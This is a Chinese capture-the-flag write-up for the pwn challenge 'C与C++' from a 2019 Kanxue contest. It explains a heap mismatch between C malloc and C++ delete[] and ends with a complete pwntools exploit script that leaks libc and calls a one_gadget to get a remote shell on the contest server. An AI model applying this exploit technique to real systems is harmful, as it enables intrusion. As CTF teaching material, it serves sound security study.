-
-
[原创]CTF2019_Q1_C与C++
-
2019-3-25 13:18 7451
-
一血,again
这次还算比较好,抢了两个PWN一血,也算是第一次参加看雪,因为之前一直赶上考试周,没有时间
Analyze
这里提供了两种malloc和free方式
两种分配方式都会每16字节进行一次存储,每一块包含function_ptr(析构)+16bytes string(c对应的func设为0,c++为&400F20)
不同点:
c++对应的分配会在chunk起始写入字节被分割的数目,但c不会:
正是这种偏差,当我们用c方式malloc一个chunk,但是用c++进行free时
在c++对应的free:
void __fastcall delete_func(__int64 a1) { void (***v1)(); // rdx void (***v2)(); // rbx void (*v3)(); // rax v1 = (void (***)())ptr[a1]; if ( v1 ) { v2 = &v1[3 * (_QWORD)*(v1 - 1)]; while ( v2 != v1 ) { while ( 1 ) { v2 -= 3; v3 = **v2; if ( v3 == nullsub_1 ) break; ((void (__fastcall *)(void (***)()))v3)(v2); v1 = (void (***)())ptr[a1]; if ( v2 == v1 ) goto LABEL_6; } } LABEL_6: operator delete[](v2 - 1); } ptr[a1] = 0LL; }
其会把chunk size当做分割数定位结束位置:
v2 = &v1[3 * (_QWORD)*(v1 - 1)];
但这样显然会远超过本chunk
所以当我们在目标位置写入一个指向其他函数的指针时(这里可以考虑在name处写入一个func addr,这样在目标地址写入name的地址,就会最终调用我们需要的function),当调用完这个函数v2指针减三,此处我们依然可控......,由此便可生成一条调用链:
leak libc->main func
回到main函数后依然利用此漏洞来调用one_gadget
由此便可get shell
注意leak问题:
在输出menu时有个函数:
void menu() { int v0; // eax puts("1. malloc"); puts("2. free"); puts("3. new"); puts("4. delete"); puts("5. puts"); puts("6. exit"); __printf_chk(1LL, (__int64)">> "); if ( v0 == 0xDEADBEEF ) leak(); }
当v0=0xDEADBEEF时调用,实际无法调用(至少没有直接方法)
但是进入此函数:
void leak() { signed __int64 v0; // [rsp-8h] [rbp-8h] v0 = '\np%'; __printf_chk(0LL, (__int64)&v0); }
发现他可以leak一个地址
当我们写入调用链,其会输出libc中的一个地址
由此选择此函数进行leak
EXP
from pwn import * context.log_level="debug" def malloc(length,note): p.sendlineafter(">> ","1") p.sendlineafter("string\n",str(length)) p.sendafter("string\n",note) def delete(index): p.sendlineafter(">> ","4") p.sendlineafter("string\n",str(index)) #p=process("./candcpp") p=remote("154.8.222.144",9999) p.sendlineafter("name: ",p64(0x400e10)+p64(0x4009a0)) malloc(8,"kirin\n") fake=(p64(0x602330)*2)[:15] malloc(0x1f0,"a"*0x1b3+fake+p64(0x602328)*2+"\n") delete(0) libc_addr=int(p.recv(0xf),16)-0x6f690 print hex(libc_addr) p.sendlineafter("name: ",p64(libc_addr+0xf02a4)) malloc(8,"kirin\n") fake=(p64(0x602330)*2)[:15] malloc(0x1f0,"a"*0x1c2+p64(0x602328)*2+"\n") delete(2) p.interactive()
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界
赞赏
看原图